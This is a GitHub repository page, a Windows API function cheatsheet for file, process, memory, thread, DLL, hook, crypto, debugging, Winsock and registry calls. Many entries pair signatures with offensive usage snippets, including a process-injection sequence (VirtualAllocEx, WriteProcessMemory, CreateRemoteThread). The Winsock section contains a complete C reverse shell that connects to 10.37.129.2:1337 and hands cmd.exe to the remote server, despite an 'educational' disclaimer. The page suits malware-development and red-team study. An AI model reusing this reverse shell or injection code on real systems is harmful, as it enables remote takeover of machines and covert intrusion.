Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.

NotificationsYou must be signed in to change notification settings

7etsuo/windows-api-function-cheatsheets

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

42 Commits
 
 
 
 
 
 
 
 

Repository files navigation

API CheatSheets

Windows API Function Cheatsheets

Contact

🌨️ Tetsuo:https://www.x.com/tetsuo

Table of Contents

Windows API Function Calls

File Operations

CreateFile

HANDLECreateFile(LPCTSTRlpFileName,DWORDdwDesiredAccess,DWORDdwShareMode,LPSECURITY_ATTRIBUTESlpSecurityAttributes,DWORDdwCreationDisposition,DWORDdwFlagsAndAttributes,HANDLEhTemplateFile);// Opens an existing file or creates a new file.

ReadFile

BOOLReadFile(HANDLEhFile,LPVOIDlpBuffer,DWORDnNumberOfBytesToRead,LPDWORDlpNumberOfBytesRead,LPOVERLAPPEDlpOverlapped);// Reads data from the specified file.

WriteFile

BOOLWriteFile(HANDLEhFile,LPCVOIDlpBuffer,DWORDnNumberOfBytesToWrite,LPDWORDlpNumberOfBytesWritten,LPOVERLAPPEDlpOverlapped);// Writes data to the specified file.

CloseHandle

BOOLCloseHandle(HANDLEhObject);// Closes an open handle.

Process Management

OpenProcess

HANDLEOpenProcess(  [in]DWORDdwDesiredAccess,  [in]BOOLbInheritHandle,  [in]DWORDdwProcessId);// Opens an existing local process object. e.g., try to open target process
hProc=OpenProcess(PROCESS_CREATE_THREAD |PROCESS_QUERY_INFORMATION |PROCESS_VM_OPERATION |PROCESS_VM_READ |PROCESS_VM_WRITE, FALSE, (DWORD)pid);

CreateProcess

HANDLECreateProcess(LPCTSTRlpApplicationName,LPTSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCTSTRlpCurrentDirectory,LPSTARTUPINFOlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);// The CreateProcess function creates a new process that runs independently of the creating process. For simplicity, this relationship is called a parent-child relationship.
// Start the child process// No module name (use command line), Command line, Process handle not inheritable, Thread handle not inheritable, Set handle inheritance to FALSE, No creation flags, Use parent's environment block, Use parent's starting directory, Pointer to STARTUPINFO structure, Pointer to PROCESS_INFORMATION structureCreateProcess(NULL,argv[1],NULL,NULL, FALSE,0,NULL,NULL,&si,&pi);

WinExec

UINTWinExec(  [in]LPCSTRlpCmdLine,  [in]UINTuCmdShow);// Runs the specified application.
result=WinExec(L"C:\\Windows\\System32\\cmd.exe",SW_SHOWNORMAL);

TerminateProcess

BOOLTerminateProcess(HANDLEhProcess,UINTuExitCode);// Terminates the specified process.

ExitWindowsEx

BOOLExitWindowsEx(  [in]UINTuFlags,  [in]DWORDdwReason);// Logs off the interactive user, shuts down the system, or shuts down and restarts the system.
bResult=ExitWindowsEx(EWX_REBOOT,SHTDN_REASON_MAJOR_APPLICATION);

CreateToolhelp32Snapshot

HANDLECreateToolhelp32Snapshot(  [in]DWORDdwFlags,  [in]DWORDth32ProcessID);// used to obtain information about processes and threads running on a Windows system.

Process32First

BOOLProcess32First(  [in]HANDLEhSnapshot,  [in,out]LPPROCESSENTRY32lppe);// used to retrieve information about the first process encountered in a system snapshot, which is typically taken using the CreateToolhelp32Snapshot function.

Process32Next

BOOLProcess32Next(  [in]HANDLEhSnapshot,  [out]LPPROCESSENTRY32lppe);// used to retrieve information about the next process in a system snapshot after Process32First has been called. This function is typically used in a loop to enumerate all processes captured in a snapshot taken using the CreateToolhelp32Snapshot function.

WriteProcessMemory

BOOLWriteProcessMemory(  [in]HANDLEhProcess,  [in]LPVOIDlpBaseAddress,  [in]LPCVOIDlpBuffer,  [in]SIZE_TnSize,  [out]SIZE_T*lpNumberOfBytesWritten);// Writes data to an area of memory in a specified process. The entire area to be written to must be accessible or the operation fails.
WriteProcessMemory(hProc,pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);// pRemoteCode from VirtualAllocEx

ReadProcessMemory

BOOLReadProcessMemory(  [in]HANDLEhProcess,  [in]LPCVOIDlpBaseAddress,  [out]LPVOIDlpBuffer,  [in]SIZE_TnSize,  [out]SIZE_T*lpNumberOfBytesRead);// ReadProcessMemory copies the data in the specified address range from the address space of the specified process into the specified buffer of the current process.
bResult=ReadProcessMemory(pHandle, (void*)baseAddress,&address,sizeof(address),0);

Memory Management

VirtualAlloc

LPVOIDVirtualAlloc(LPVOIDlpAddress,SIZE_TdwSize,// Shellcode must be between 0x1 and 0x10000 bytes (page size)DWORDflAllocationType,// #define MEM_COMMIT 0x00001000DWORDflProtect// #define PAGE_EXECUTE_READWRITE 0x00000040);// Reserves, commits, or changes the state of a region of memory within the virtual address space of the calling process.

VirtualAllocEx

LPVOIDVirtualAllocEx(  [in]HANDLEhProcess,  [in,optional]LPVOIDlpAddress,  [in]SIZE_TdwSize,  [in]DWORDflAllocationType,  [in]DWORDflProtect);// Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.
pRemoteCode=VirtualAllocEx(hProc,NULL,payload_len,MEM_COMMIT,PAGE_EXECUTE_READ);

VirtualFree

BOOLVirtualFree(LPVOIDlpAddress,SIZE_TdwSize,DWORDdwFreeType);// Releases, decommits, or releases and decommits a region of memory within the virtual address space of the calling process.

VirtualProtect function (memoryapi.h)

BOOLVirtualProtect(LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);// Changes the protection on a region of committed pages in the virtual address space of the calling process.

RtlMoveMemory

VOIDRtlMoveMemory(_Out_VOIDUNALIGNED*Destination,_In_constVOIDUNALIGNED*Source,_In_SIZE_TLength);// Copies the contents of a source memory block to a destination memory block, and supports overlapping source and destination memory blocks.

Thread Management

CreateThread

HANDLECreateThread(  [in,optional]LPSECURITY_ATTRIBUTESlpThreadAttributes,// A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle.  [in]SIZE_TdwStackSize,// The initial size of the stack, in bytes.  [in]LPTHREAD_START_ROUTINElpStartAddress,// A pointer to the application-defined function of type LPTHREAD_START_ROUTINE  [in,optional]__drv_aliasesMemLPVOIDlpParameter,// A pointer to a variable to be passed to the thread function.  [in]DWORDdwCreationFlags,// The flags that control the creation of the thread.  [out,optional]LPDWORDlpThreadId// A pointer to a variable that receives the thread identifier. If this parameter is NULL, the thread identifier is not returned.);// Creates a thread to execute within the virtual address space of the calling process.
th=CreateThread(0,0, (LPTHREAD_START_ROUTINE)exec_mem,0,0,0);WaitForSingleObject(th,0);

CreateRemoteThread

HANDLECreateRemoteThread(  [in]HANDLEhProcess,  [in]LPSECURITY_ATTRIBUTESlpThreadAttributes,  [in]SIZE_TdwStackSize,  [in]LPTHREAD_START_ROUTINElpStartAddress,  [in]LPVOIDlpParameter,  [in]DWORDdwCreationFlags,  [out]LPDWORDlpThreadId);// Creates a thread that runs in the virtual address space of another process.
hThread=CreateRemoteThread(hProc,NULL,0,pRemoteCode,NULL,0,NULL);// pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

CreateRemoteThreadEx

HANDLECreateRemoteThreadEx(  [in]HANDLEhProcess,  [in,optional]LPSECURITY_ATTRIBUTESlpThreadAttributes,  [in]SIZE_TdwStackSize,  [in]LPTHREAD_START_ROUTINElpStartAddress,  [in,optional]LPVOIDlpParameter,  [in]DWORDdwCreationFlags,  [in,optional]LPPROC_THREAD_ATTRIBUTE_LISTlpAttributeList,  [out,optional]LPDWORDlpThreadId);// Creates a thread that runs in the virtual address space of another process and optionally specifies extended attributes such as processor group affinity.// See InitializeProcThreadAttributeList
hThread=CreateRemoteThread(hProc,NULL,0,pRemoteCode,NULL,0,lpAttributeList,NULL);// pRemoteCode from VirtualAllocEx filled by WriteProcessMemory

ExitThread

VOIDExitThread(DWORDdwExitCode);// Terminates the calling thread and returns the exit code to the operating system.

GetExitCodeThread

BOOLGetExitCodeThread(HANDLEhThread,LPDWORDlpExitCode);// Retrieves the termination status of the specified thread.

ResumeThread

DWORDResumeThread(HANDLEhThread);// Decrements a thread's suspend count. When the suspend count is decremented to zero, the execution of the thread is resumed.

SuspendThread

DWORDSuspendThread(HANDLEhThread);// Suspends the specified thread.

TerminateThread

BOOLTerminateThread(HANDLEhThread,DWORDdwExitCode);// Terminates the specified thread.

CloseHandle

BOOLCloseHandle(HANDLEhObject);// Closes an open handle.

Dynamic-Link Library (DLL) Management

LoadLibrary

HMODULELoadLibrary(LPCTSTRlpFileName);// Loads a dynamic-link library (DLL) module into the address space of the calling process.

LoadLibraryExA

HMODULELoadLibraryExA(  [in]LPCSTRlpLibFileName,HANDLEhFile,  [in]DWORDdwFlags);// Loads the specified module into the address space of the calling process, with additional options.
HMODULEhModule=LoadLibraryExA("ws2_32.dll",NULL,LOAD_LIBRARY_SAFE_CURRENT_DIRS);

GetProcAddress

FARPROCGetProcAddress(HMODULEhModule,LPCSTRlpProcName);// Retrieves the address of an exported function or variable from the specified DLL.
pLoadLibrary= (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA");

FreeLibrary

BOOLFreeLibrary(HMODULEhModule);// Frees the loaded DLL module and, if necessary, decrements its reference count.

Synchronization

CreateMutex

HANDLECreateMutex(LPSECURITY_ATTRIBUTESlpMutexAttributes,BOOLbInitialOwner,LPCTSTRlpName);// Creates a named or unnamed mutex object.

CreateSemaphore

HANDLECreateSemaphore(LPSECURITY_ATTRIBUTESlpSemaphoreAttributes,LONGlInitialCount,LONGlMaximumCount,LPCTSTRlpName);// Creates a named or unnamed semaphore object.

ReleaseMutex

BOOLReleaseMutex(HANDLEhMutex);// Releases ownership of the specified mutex object.

ReleaseSemaphore

BOOLReleaseSemaphore(HANDLEhSemaphore,LONGlReleaseCount,LPLONGlpPreviousCount);// Increases the count of the specified semaphore object by a specified amount.

WaitForSingleObject

DWORDWaitForSingleObject(  [in]HANDLEhHandle,  [in]DWORDdwMilliseconds);// Waits until the specified object is in the signaled state or the time-out interval elapses.
WaitForSingleObject(hThread,500);

Interprocess Communication

CreatePipe

BOOLCreatePipe(PHANDLEhReadPipe,PHANDLEhWritePipe,LPSECURITY_ATTRIBUTESlpPipeAttributes,DWORDnSize);// Creates an anonymous pipe and returns handles to the read and write ends of the pipe.

CreateNamedPipe

HANDLECreateNamedPipe(LPCTSTRlpName,DWORDdwOpenMode,DWORDdwPipeMode,DWORDnMaxInstances,DWORDnOutBufferSize,DWORDnInBufferSize,DWORDnDefaultTimeOut,LPSECURITY_ATTRIBUTESlpSecurityAttributes);// Creates a named pipe and returns a handle for subsequent pipe operations.

ConnectNamedPipe

BOOLConnectNamedPipe(HANDLEhNamedPipe,LPOVERLAPPEDlpOverlapped);// Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

DisconnectNamedPipe

BOOLDisconnectNamedPipe(HANDLEhNamedPipe);// Disconnects the server end of a named pipe instance from a client process.

CreateFileMapping

HANDLECreateFileMapping(HANDLEhFile,LPSECURITY_ATTRIBUTESlpFileMappingAttributes,DWORDflProtect,DWORDdwMaximumSizeHigh,DWORDdwMaximumSizeLow,LPCTSTRlpName);// Creates or opens a named or unnamed file mapping object for a specified file.

MapViewOfFile

LPVOIDMapViewOfFile(HANDLEhFileMappingObject,DWORDdwDesiredAccess,DWORDdwFileOffsetHigh,DWORDdwFileOffsetLow,SIZE_TdwNumberOfBytesToMap);// Maps a view of a file mapping into the address space of the calling process.

UnmapViewOfFile

BOOLUnmapViewOfFile(LPCVOIDlpBaseAddress);// Unmaps a mapped view of a file from the calling process's address space.

CloseHandle

BOOLCloseHandle(HANDLEhObject);// Closes an open handle.

Windows Hooks

SetWindowsHookExA

HHOOKSetWindowsHookExA(  [in]intidHook,  [in]HOOKPROClpfn,  [in]HINSTANCEhmod,  [in]DWORDdwThreadId);// Installs an application-defined hook procedure into a hook chain. You would install a hook procedure to monitor the system for certain types of events. These events are associated either with a specific thread or with all threads in the same desktop as the calling thread.

CallNextHookEx

LRESULTCallNextHookEx(  [in,optional]HHOOKhhk,  [in]intnCode,  [in]WPARAMwParam,  [in]LPARAMlParam);// Passes the hook information to the next hook procedure in the current hook chain. A hook procedure can call this function either before or after processing the hook information.

UnhookWindowsHookEx

BOOLUnhookWindowsHookEx(  [in]HHOOKhhk);// Removes a hook procedure installed in a hook chain by the SetWindowsHookEx function.

GetAsyncKeyState

SHORTGetAsyncKeyState(  [in]intvKey);// Determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.

GetKeyState

SHORTGetKeyState(  [in]intnVirtKey);// Retrieves the status of the specified virtual key. The status specifies whether the key is up, down, or toggled (on, off—alternating each time the key is pressed).

GetKeyboardState

BOOLGetKeyboardState(  [out]PBYTElpKeyState);// Copies the status of the 256 virtual keys to the specified buffer.

Cryptography

CryptBinaryToStringA

BOOLCryptBinaryToStringA(  [in]constBYTE*pbBinary,  [in]DWORDcbBinary,  [in]DWORDdwFlags,  [out,optional]LPSTRpszString,  [in,out]DWORD*pcchString);// The CryptBinaryToString function converts an array of bytes into a formatted string.

CryptDecrypt

BOOLCryptDecrypt(  [in]HCRYPTKEYhKey,  [in]HCRYPTHASHhHash,  [in]BOOLFinal,  [in]DWORDdwFlags,  [in,out]BYTE*pbData,  [in,out]DWORD*pdwDataLen);// The CryptDecrypt function decrypts data previously encrypted by using the CryptEncrypt function.

CryptEncrypt

BOOLCryptEncrypt(  [in]HCRYPTKEYhKey,  [in]HCRYPTHASHhHash,  [in]BOOLFinal,  [in]DWORDdwFlags,  [in,out]BYTE*pbData,  [in,out]DWORD*pdwDataLen,  [in]DWORDdwBufLen);// The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is referenced by the hKey parameter.

CryptDecryptMessage

BOOLCryptDecryptMessage(  [in]PCRYPT_DECRYPT_MESSAGE_PARApDecryptPara,  [in]constBYTE*pbEncryptedBlob,  [in]DWORDcbEncryptedBlob,  [out,optional]BYTE*pbDecrypted,  [in,out,optional]DWORD*pcbDecrypted,  [out,optional]PCCERT_CONTEXT*ppXchgCert);// The CryptDecryptMessage function decodes and decrypts a message.

CryptEncryptMessage

BOOLCryptEncryptMessage(  [in]PCRYPT_ENCRYPT_MESSAGE_PARApEncryptPara,  [in]DWORDcRecipientCert,  [in]PCCERT_CONTEXT []rgpRecipientCert,  [in]constBYTE*pbToBeEncrypted,  [in]DWORDcbToBeEncrypted,  [out]BYTE*pbEncryptedBlob,  [in,out]DWORD*pcbEncryptedBlob);// The CryptEncryptMessage function encrypts and encodes a message.

Debugging

IsDebuggerPresent

BOOLIsDebuggerPresent();// Determines whether the calling process is being debugged by a user-mode debugger.

CheckRemoteDebuggerPresent

BOOLCheckRemoteDebuggerPresent(  [in]HANDLEhProcess,  [in,out]PBOOLpbDebuggerPresent);// Determines whether the specified process is being debugged.

OutputDebugStringA

voidOutputDebugStringA(  [in,optional]LPCSTRlpOutputString);// Sends a string to the debugger for display.

Winsock

/*** Windows Reverse Shell * *   ██████  ███▄    █  ▒█████   █     █░ ▄████▄   ██▀███   ▄▄▄        ██████  ██░ ██ * ▒██    ▒  ██ ▀█   █ ▒██▒  ██▒▓█░ █ ░█░▒██▀ ▀█  ▓██ ▒ ██▒▒████▄    ▒██    ▒ ▓██░ ██▒ * ░ ▓██▄   ▓██  ▀█ ██▒▒██░  ██▒▒█░ █ ░█ ▒▓█    ▄ ▓██ ░▄█ ▒▒██  ▀█▄  ░ ▓██▄   ▒██▀▀██░ *   ▒   ██▒▓██▒  ▐▌██▒▒██   ██░░█░ █ ░█ ▒▓▓▄ ▄██▒▒██▀▀█▄  ░██▄▄▄▄██   ▒   ██▒░▓█ ░██ * ▒██████▒▒▒██░   ▓██░░ ████▓▒░░░██▒██▓ ▒ ▓███▀ ░░██▓ ▒██▒ ▓█   ▓██▒▒██████▒▒░▓█▒░██▓ * ▒ ▒▓▒ ▒ ░░ ▒░   ▒ ▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒  ░ ░▒ ▒  ░░ ▒▓ ░▒▓░ ▒▒   ▓▒█░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒ * ░ ░▒  ░ ░░ ░░   ░ ▒░  ░ ▒ ▒░   ▒ ░ ░    ░  ▒     ░▒ ░ ▒░  ▒   ▒▒ ░░ ░▒  ░ ░ ▒ ░▒░ ░ * ░  ░  ░     ░   ░ ░ ░ ░ ░ ▒    ░   ░  ░          ░░   ░   ░   ▒   ░  ░  ░   ░  ░░ ░ *       ░           ░     ░ ░      ░    ░ ░         ░           ░  ░      ░   ░  ░  ░ *                                   Written by: snowcra5h@icloud.com (snowcra5h) 2023 * * This program establishes a reverse shell via the Winsock2 library. It is * designed to establish a connection to a specified remote server, and execute commands * received from the server on the local machine, giving the server * control over the local machine. * * Compile command (using MinGW on Wine): * wine gcc.exe windows.c -o windows.exe -lws2_32 * * This code is intended for educational and legitimate penetration testing purposes only. * Please use responsibly and ethically. * */#include<winsock2.h>#include<ws2tcpip.h>#include<stdio.h>#include<windows.h>#include<process.h>constchar*constPORT="1337";constchar*constIP="10.37.129.2";typedefstruct {HANDLEhPipeRead;HANDLEhPipeWrite;SOCKETsock;}ThreadParams;DWORDWINAPIOutputThreadFunc(LPVOIDdata);DWORDWINAPIInputThreadFunc(LPVOIDdata);voidCleanUp(HANDLEhInputWrite,HANDLEhInputRead,HANDLEhOutputWrite,HANDLEhOutputRead,PROCESS_INFORMATIONprocessInfo,addrinfo*result,SOCKETsock);intmain(intargc,char**argv) {WSADATAwsaData;interr=WSAStartup(MAKEWORD(2,2),&wsaData);if (err!=0) {fprintf(stderr,"WSAStartup failed: %d\n",err);return1;    }SOCKETsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,WSA_FLAG_OVERLAPPED);if (sock==INVALID_SOCKET) {fprintf(stderr,"Socket function failed with error = %d\n",WSAGetLastError());WSACleanup();return1;    }structaddrinfohints= {0 };hints.ai_family=AF_INET;hints.ai_socktype=SOCK_STREAM;structaddrinfo*result;err=getaddrinfo(IP,PORT,&hints,&result);if (err!=0) {fprintf(stderr,"Failed to get address info: %d\n",err);CleanUp(NULL,NULL,NULL,NULL, {0 },result,sock);return1;    }if (WSAConnect(sock,result->ai_addr, (int)result->ai_addrlen,NULL,NULL,NULL,NULL)==SOCKET_ERROR) {fprintf(stderr,"Failed to connect.\n");CleanUp(NULL,NULL,NULL,NULL, {0 },result,sock);return1;    }SECURITY_ATTRIBUTESsa= {sizeof(SECURITY_ATTRIBUTES),NULL, TRUE };HANDLEhInputWrite,hOutputRead,hInputRead,hOutputWrite;if (!CreatePipe(&hOutputRead,&hOutputWrite,&sa,0)|| !CreatePipe(&hInputRead,&hInputWrite,&sa,0)) {fprintf(stderr,"Failed to create pipe.\n");CleanUp(NULL,NULL,NULL,NULL, {0 },result,sock);return1;    }STARTUPINFOstartupInfo= {0 };startupInfo.cb=sizeof(startupInfo);startupInfo.dwFlags=STARTF_USESTDHANDLES;startupInfo.hStdInput=hInputRead;startupInfo.hStdOutput=hOutputWrite;startupInfo.hStdError=hOutputWrite;PROCESS_INFORMATIONprocessInfo;WCHARcmd[]=L"cmd.exe /k";if (!CreateProcess(NULL,cmd,NULL,NULL, TRUE,0,NULL,NULL,&startupInfo,&processInfo)) {fprintf(stderr,"Failed to create process.\n");CleanUp(hInputWrite,hInputRead,hOutputWrite,hOutputRead,processInfo,result,sock);return1;    }CloseHandle(hInputRead);CloseHandle(hOutputWrite);CloseHandle(processInfo.hThread);ThreadParamsoutputParams= {hOutputRead,NULL,sock };ThreadParamsinputParams= {NULL,hInputWrite,sock };HANDLEhThread[2];hThread[0]=CreateThread(NULL,0,OutputThreadFunc,&outputParams,0,NULL);hThread[1]=CreateThread(NULL,0,InputThreadFunc,&inputParams,0,NULL);WaitForMultipleObjects(2,hThread, TRUE,INFINITE);CleanUp(hInputWrite,NULL,NULL,hOutputRead,processInfo,result,sock);return0;}voidCleanUp(HANDLEhInputWrite,HANDLEhInputRead,HANDLEhOutputWrite,HANDLEhOutputRead,PROCESS_INFORMATIONprocessInfo,addrinfo*result,SOCKETsock) {if (hInputWrite!=NULL)CloseHandle(hInputWrite);if (hInputRead!=NULL)CloseHandle(hInputRead);if (hOutputWrite!=NULL)CloseHandle(hOutputWrite);if (hOutputRead!=NULL)CloseHandle(hOutputRead);if (processInfo.hProcess!=NULL)CloseHandle(processInfo.hProcess);if (processInfo.hThread!=NULL)CloseHandle(processInfo.hThread);if (result!=NULL)freeaddrinfo(result);if (sock!=NULL)closesocket(sock);WSACleanup();}DWORDWINAPIOutputThreadFunc(LPVOIDdata) {ThreadParams*params= (ThreadParams*)data;charbuffer[4096];DWORDbytesRead;while (ReadFile(params->hPipeRead,buffer,sizeof(buffer)-1,&bytesRead,NULL)) {buffer[bytesRead]='\0';send(params->sock,buffer,bytesRead,0);    }return0;}DWORDWINAPIInputThreadFunc(LPVOIDdata) {ThreadParams*params= (ThreadParams*)data;charbuffer[4096];intbytesRead;while ((bytesRead=recv(params->sock,buffer,sizeof(buffer)-1,0))>0) {DWORDbytesWritten;WriteFile(params->hPipeWrite,buffer,bytesRead,&bytesWritten,NULL);    }return0;}

WSAStartup

intWSAStartup(WORDwVersionRequired,LPWSADATAlpWSAData);// Initializes the Winsock library for an application. Must be called before any other Winsock functions.

WSAConnect

intWSAConnect(SOCKETs,// Descriptor identifying a socket.conststructsockaddr*name,// Pointer to the sockaddr structure for the connection target.intnamelen,// Length of the sockaddr structure.LPWSABUFlpCallerData,// Pointer to user data to be transferred during connection.LPWSABUFlpCalleeData,// Pointer to user data transferred back during connection.LPQOSlpSQOS,// Pointer to flow specs for socket s, one for each direction.LPQOSlpGQOS// Pointer to flow specs for the socket group.);// Establishes a connection to another socket application.This function is similar to connect, but allows for more control over the connection process.

WSASend

intWSASend(SOCKETs,// Descriptor identifying a connected socket.LPWSABUFlpBuffers,// Array of buffers for data to be sent.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesSent,// Pointer to the number of bytes sent by this function call.DWORDdwFlags,// Flags to modify the behavior of the function call.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the send operation has been completed.);// Sends data on a connected socket.It can be used for both synchronous and asynchronous data transfer.

WSARecv

intWSARecv(SOCKETs,// Descriptor identifying a connected socket.LPWSABUFlpBuffers,// Array of buffers to receive the incoming data.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesRecvd,// Pointer to the number of bytes received by this function call.LPDWORDlpFlags,// Flags to modify the behavior of the function call.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the receive operation has been completed.);//Receives data from a connected socket, and can also be used for both synchronous and asynchronous data transfer.

WSASendTo

intWSASendTo(SOCKETs,// Descriptor identifying a socket.LPWSABUFlpBuffers,// Array of buffers containing the data to be sent.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesSent,// Pointer to the number of bytes sent by this function call.DWORDdwFlags,// Flags to modify the behavior of the function call.conststructsockaddr*lpTo,// Pointer to the sockaddr structure for the target address.intiToLen,// Size of the address in lpTo.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the send operation has been completed.);// Sends data to a specific destination, for use with connection - less socket types such as SOCK_DGRAM.

WSARecvFrom

intWSARecvFrom(SOCKETs,// Descriptor identifying a socket.LPWSABUFlpBuffers,// Array of buffers to receive the incoming data.DWORDdwBufferCount,// Number of buffers in the lpBuffers array.LPDWORDlpNumberOfBytesRecvd,// Pointer to the number of bytes received by this function call.LPDWORDlpFlags,// Flags to modify the behavior of the function call.structsockaddr*lpFrom,// Pointer to an address structure that will receive the source address upon completion of the operation.LPINTlpFromlen,// Pointer to the size of the lpFrom address structure.LPWSAOVERLAPPEDlpOverlapped,// Pointer to an overlapped structure for asynchronous operations.LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine// Pointer to the completion routine called when the receive operation has been completed.);//Receives data from a specific source, used with connection - less socket types such as SOCK_DGRAM.

WSAAsyncSelect

intWSAAsyncSelect(SOCKETs,// Descriptor identifying the socket.HWNDhWnd,// Handle to the window which should receive the message.unsignedintwMsg,// Message to be received when an event occurs.longlEvent// Bitmask specifying a group of conditions to be monitored.);// Requests Windows message - based notification of network events for a socket.

socket

SOCKETsocket(intaf,inttype,intprotocol);// Creates a new socket for network communication.

bind

intbind(SOCKETs,conststructsockaddr*name,intnamelen);// Binds a socket to a specific local address and port.

listen

intlisten(SOCKETs,intbacklog);// Sets a socket to listen for incoming connections.

accept

SOCKETaccept(SOCKETs,structsockaddr*addr,int*addrlen);// Accepts a new incoming connection on a listening socket.

connect

intconnect(SOCKETs,conststructsockaddr*name,intnamelen);// Initiates a connection on a socket to a remote address.

send

intsend(SOCKETs,constchar*buf,intlen,intflags);// Sends data on a connected socket.

recv

intrecv(SOCKETs,char*buf,intlen,intflags);// Receives data from a connected socket.

closesocket

intclosesocket(SOCKETs);//Closes a socket and frees its resources.

gethostbyname

hostent*gethostbyname(constchar*name// either a hostname or an IPv4 address in dotted-decimal notation);// returns a pointer to a hostent struct. NOTE: Typically better to use getaddrinfo

Registry Operations

RegOpenKeyExW

LONGRegOpenKeyExW(HKEYhKey,LPCWTSTRlpSubKey,DWORDulOptions,REGSAMsamDesired,PHKEYphkResult);// Opens the specified registry key.

RegQueryValueExW

LONGRegQueryValueExW(HKEYhKey,LPCWTSTRlpValueName,LPDWORDlpReserved,LPDWORDlpType,LPBYTElpData,LPDWORDlpcbData);// Retrieves the type and data of the specified value name associated with an open registry key.

RegSetValueExW

LONGRegSetValueEx(HKEYhKey,LPCWTSTRlpValueName,DWORDReserved,DWORDdwType,constBYTE*lpData,DWORDcbData);// Sets the data and type of the specified value name associated with an open registry key.

RegCloseKey

LONGRegCloseKey(HKEYhKey);// Closes a handle to the specified registry key.

RegCreateKeyExA

LSTATUSRegCreateKeyExA(  [in]HKEYhKey,  [in]LPCSTRlpSubKey,DWORDReserved,  [in,optional]LPSTRlpClass,  [in]DWORDdwOptions,  [in]REGSAMsamDesired,  [in,optional]constLPSECURITY_ATTRIBUTESlpSecurityAttributes,  [out]PHKEYphkResult,  [out,optional]LPDWORDlpdwDisposition);// Creates the specified registry key. If the key already exists, the function opens it. Note that key names are not case sensitive.

RegSetValueExA

LSTATUSRegSetValueExA(  [in]HKEYhKey,  [in,optional]LPCSTRlpValueName,DWORDReserved,  [in]DWORDdwType,  [in]constBYTE*lpData,  [in]DWORDcbData);// Sets the data and type of a specified value under a registry key.

RegCreateKeyA

LSTATUSRegCreateKeyA(  [in]HKEYhKey,  [in,optional]LPCSTRlpSubKey,  [out]PHKEYphkResult);// Creates the specified registry key. If the key already exists in the registry, the function opens it.

RegDeleteKeyA

LSTATUSRegDeleteKeyA(  [in]HKEYhKey,  [in]LPCSTRlpSubKey);// Deletes a subkey and its values. Note that key names are not case sensitive.

NtRenameKey

__kernel_entryNTSTATUSNtRenameKey(  [in]HANDLEKeyHandle,  [in]PUNICODE_STRINGNewName);// Changes the name of the specified registry key.

Error Handling

WSAGetLastError

intWSAGetLastError(void);// Returns the error status for the last Windows Sockets operation that failed.

WSASetLastError

voidWSASetLastError(intiError);// Sets the error status for the last Windows Sockets operation.

WSAGetOverlappedResult

BOOLWSAGetOverlappedResult(SOCKETs,LPWSAOVERLAPPEDlpOverlapped,LPDWORDlpcbTransfer,BOOLfWait,LPDWORDlpdwFlags);// Determines the results of an overlapped operation on the specified socket.

WSAIoctl

intWSAIoctl(SOCKETs,DWORDdwIoControlCode,LPVOIDlpvInBuffer,DWORDcbInBuffer,LPVOIDlpvOutBuffer,DWORDcbOutBuffer,LPDWORDlpcbBytesReturned,LPWSAOVERLAPPEDlpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINElpCompletionRoutine);// Controls the mode of a socket.

WSACreateEvent

WSAEVENTWSACreateEvent(void);// Creates a new event object.

WSASetEvent

BOOLWSASetEvent(WSAEVENThEvent);// Sets the state of the specified event object to signaled.

WSAResetEvent

BOOLWSAResetEvent(WSAEVENThEvent);// Sets the state of the specified event object to nonsignaled.

WSACloseEvent

BOOLWSACloseEvent(WSAEVENThEvent);// Closes an open event object handle.

WSAWaitForMultipleEvents

DWORDWSAWaitForMultipleEvents(DWORDcEvents,constWSAEVENT*lphEvents,BOOLfWaitAll,DWORDdwTimeout,BOOLfAlertable);// Waits for multiple event objects and returns when the specified events are signaled or the time-out interval elapses.

Resource Management

FindResource

HRSRCFindResource(  [in,optional]HMODULEhModule,// A handle to the module whose portable executable file or an accompanying MUI file contains the resource. If this parameter is NULL, the function searches the module used to create the current process.  [in]LPCSTRlpName,// The name of the resource.  [in]LPCSTRlpType// The resource type.);// Determines the location of a resource with the specified type and name in the specified module.
HRSRCres=FindResource(NULL,MAKEINTRESOURCE(FAVICON_ICO),RT_RCDATA);

LoadResource

